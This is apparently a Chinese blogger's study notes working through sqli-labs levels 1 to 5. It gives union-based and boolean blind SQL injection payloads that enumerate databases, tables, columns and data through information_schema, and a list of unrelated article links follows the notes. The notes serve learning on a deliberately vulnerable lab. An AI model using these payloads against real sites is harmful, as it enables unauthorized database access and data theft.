基本的

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where 
table_schema = '数据库名'
查列:select column_name from information_schema.columns where
table_name='表名'
查字段:select 字段名 form 数据库.表名

记得加注释符-- +

sqli_labs 1

1 ?id=1'用单引号或and,or测试注入点,显示sql错误则可以注入。
2 确定注入点后用order by确定列数,超出列数会报错。
3 union select 1,2,3确定回显位。前半段语句必须为假。
4 确定回显位后开始查询想要的数据,将要查的数据替换回显位。
5 union select 1,2,schema_name from information_schema.schemata
//显示查的库,但是只能显示第一个,一个一个看的话用limit 1,1控制偏移量
6 union select 1,2,group_concat(schema_name) from information_schema.schemata
//虽然只能显示一行,但是group_concat()可以将该查询到的结果拼接在一起,一行就全展示完。
7 //找出库后找表
  union select 1,2,group_concat(table_name) from information_schema.tables 
  where table_schema = '数据库名' //涉及单引号的字符串,建议直接前加0x再将其转化为16进制
8 //找出表后查字段
  union select 1,2,group_concat(column_name) from information_schema.columns 
  where table_name = '表名'
9 //找出字段后取数据
  union select 1,2,group_concat(字段名) from 数据库名.表名
  //如果回显位有限可以用concat_ws('~',字段A,字段B) 显示效果 字段A~字段B
  union select 1,2,group_concat(concat_ws('~',字段A,字段B)) from 数据库名.表名
  //用group_concat包裹可以全部显示

sqli_labs 2

第二关只是id变成了数值型,未用单引号包裹,其余步骤和第一关相同 

sqli_labs 3

第三关根据加单引号显示的报错信息确定id是被('')包裹,所以改成?id=1')--+即可其余步骤和第一关相同

sqli_labs 4

第四关与第三关类似用单引号试错未报错,继续用双引号测试根据报错,发现id是被("")包裹
其余步骤和第一关相同

补充知识
1. left()函数:    left(database(),1)='s'          left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
2. regexp函数:    select user() regexp 'r'    user()的结果是root,regexp为匹配root的正则表达式
3. like函数:      select user() like 'ro%'        匹配与regexp相似。
4. substr(a,b,c)   select substr(a,b,c)            substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii()                                                       将某个字符串转化为ascii值  
6. chr(数字)       或者是ord('字母')                使用python中的两个函数可以判断当前的ascii值是多少

对于security数据库:
 select left(database(),1)='s';                                    前1位是否是s
 select database() regexp 's';                                   匹配第一个字符是否是 s
 select database() like 's%';                                      匹配第一个字符是否是 s
 select substr((select database()),1,1)='s';                匹配第一个字符是否是 s
 select substr((select database()),1,3)= 'sec';           匹配前三个个字符是否是 sec
 select ascii(substr((select database()),1,1));            直接回显115  或者是:
 select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0.

sqli_labs 5

页面只返回是和否,典型的布尔盲注,通过补充知识里的函数不断测试来获取信息
1 ?id=1'用单引号判断能否注入
2 还是利用order by确定列数,判断列数不需要回显根据页面返回提示即可确定列数
3 ?id=1' and left((select database()),1)='s'--+开始猜数据库的名字
4 ?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+
  //这是第一个数据名字的第一个字符,后续的表名,字段以及数据名均可用这样的方法以及上面的其它函数进行猜解,
  人工猜字符ascii时最好用二分法

sql注入——day01相关推荐

  1. php mysql 防 sql注入_php 防sql注入方法

    php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...

  2. resultset mysql_MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)...

    [声明] 欢迎转载,但请保留文章原始出处→_→ [正文] 一.ResultSet接口的介绍: 对数据库的查询操作,一般需要返回查询结果,在程序中,JDBC为我们提供了ResultSet接口来专门处理查 ...

  3. mybaits的模糊查询_mybatis模糊查询防止SQL注入(很详细)

    SQL注入,大家都不陌生,是一种常见的攻击方式.攻击者在界面的表单信息或URL上输入一些奇怪的SQL片段(例如"or '1'='1'"这样的语句),有可能入侵参数检验不足的应用程序 ...

  4. SQL注入漏洞全接触--入门篇

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  5. Sql注入和Html注入

    举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如: hello word!!!! 不过,这个代码原来有漏洞.一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过 ...

  6. mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...

    本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...

  7. 【数据库】 兴唐第二十七节课只sql注入

    首先来一个用户登录程序 public static void login(String username, String password) {Connection conn = null;State ...

  8. 雷林鹏分享:MySQL 及 SQL 注入

    MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

  9. WEB攻击手段及防御第2篇-SQL注入

    概念 SQL注入即通过WEB表单域插入非法SQL命令,当服务器端构造SQL时采用拼接形式,非法SQL与正常SQL一并构造并在数据库中执行. 简单的SQL注入的例子: 例1:test123456 or ...

最新文章

  1. 网易有道词典笔 —— 73 岁“人类高质量”奶奶梅耶马斯克的中文学习之选
  2. 美国旧金山之行第一天
  3. 不同文件系统类型及其修复
  4. 后盾网lavarel视频项目---2、phpstorm显示类中的方法快捷键
  5. __cdecl __fastcall与__stdcall
  6. 半年内使用两次借呗就没法申请房贷?
  7. 服务器php 启动命令_服务端的cli方式运行
  8. cmake The source directory xxxx does not appear to contain CMakeLists.txt
  9. python3所支持的整数进制_Python3快速入门(三)——Python3标准数据类型
  10. libtorch和torchvision的编译安装
  11. win 8 远程桌面的问题
  12. 【官方速报】Pika3.0正式发布
  13. Android Studio Design界面不显示layout控件的解决方法
  14. Linux服务器安装JavaWeb环境(四) Sentinel,Xxl-Job,Seata
  15. [转载] 在IDEA中将SpringBoot项目打包成jar包的方法
  16. Thymeleaf 教程
  17. 小米为何要死磕某国产手机企业?这是多年被压迫下的反击
  18. 接入微信提现Api(企业付款到零钱--向微信用户个人付款)
  19. vue 前端传图片文件,后端接收
  20. 【MAX7800羽毛板更新固件及下载bug修复】

热门文章

  1. C语言 输入一个字符串,统计字符个数,并按照倒序输出该字符串。
  2. linux字符设备文件的打开操作,Linux字符设备驱动模型之字符设备初始化
  3. 双11,如果数据中心断网断电会怎样?
  4. 网络管理:3分钟排障秘技,一招胜过十年功 | 文末有彩蛋
  5. 菲律宾达沃照明和电力公司的数据中心发生火灾
  6. 票务系统思维导图_最全思维导图分享,告诉你如何系统的学好软件测试。
  7. github 删除分支_Github新手入门指南
  8. Python:列表、集合等交集、并集、差集、非集简介及其代码实现之详细攻略
  9. DL:The development history of the important stage of DL
  10. PIL图像处理开发极简教程